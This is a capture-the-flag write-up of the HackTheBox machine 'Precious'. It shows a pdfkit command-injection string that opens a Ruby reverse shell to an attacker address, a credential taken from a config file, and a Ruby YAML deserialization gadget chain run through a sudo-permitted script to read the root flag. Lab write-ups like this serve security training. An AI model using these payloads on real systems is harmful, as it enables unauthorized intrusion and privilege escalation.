✍️
Write-ups
Index
  • Main Page
  • HackTheBox "Analytics"
  • Keep Your Domains
  • The .whoswho gTLD
  • HackTheBox "Soccer"
  • TryHackMe "ConvertMyVideo"
  • TryHackMe "Simple CTF"
  • HackTheBox "Investigation"
  • HackTheBox "Inject"
  • HackTheBox "Precious"
  • HackTheBox "Busqueda"
  • HackTheBox "Agile"
  • Not Fixing The Possibly Unfixable
Powered by GitBook
On this page
  • Introduction
  • User Own
  • System Own

HackTheBox "Precious"

April 16th, 2023

PreviousHackTheBox "Inject"NextHackTheBox "Busqueda"

Last updated 2 years ago

Introduction

is an easy box released on November 26th, 2022 by Nauten.

User Own

Nmap:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 09:58 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds

There's a website being hosted at http://precious.htb.

http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.xx.xx","1234"))'`

After gaining a reverse shell, we are logged in as ruby in the directory /var/www/pdfapp. Checking /home reveals that ruby has a home directory.

find /home/ruby -type f
/home/ruby/.bundle/config
/home/ruby/.profile
/home/ruby/.cache/gstreamer-1.0/registry.x86_64.bin
/home/ruby/.cache/fontconfig/CACHEDIR.TAG
/home/ruby/.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
/home/ruby/.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
/home/ruby/.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
/home/ruby/.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
/home/ruby/.history.swp
/home/ruby/.bash_logout
/home/ruby/.bashrc

Checking /home/ruby/.bundle/config reveals henry's credentials.

cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

These credentials can be used to login to SSH as henry and get the user.txt flag.

System Own

henry has a file called dependencies.yml.

dependencies.yml
---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
     i: y
 - !ruby/object:Gem::Requirement
   requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: cat /root/root.txt
          method_id: :resolve

It seems this file will cat /root/root.txt when read, which is what we want.

sudo -l reveals:

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

/opt contains:

find /opt
/opt
/opt/update_dependencies.rb
/opt/sample
/opt/sample/dependencies.yml

update_dependencies.rb does:

update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

update_dependencies.rb grabs dependencies.yml, but does so relatively. We can run this script as root and use the dependencies.yml in henry's home directory instead of the one in /opt/sample. This will print out the root.txt flag.

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
[ROOT FLAG HERE]
Traceback (most recent call last):
        ... (irrelevant traceback)
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

That's the box completed!

Messing around with the website in Burp Suite reveals the PDFs are being generated with pdfkit 0.8.6, which is vulnerable. Using lets us inject commands into the website, giving us a reverse shell in Ruby.

this script from Exploit-DB
Precious
Info Card
http://precious.htb
USER OWN
SYSTEM OWN
PWNED
Info Card
http://precious.htb
USER OWN
SYSTEM OWN
PWNED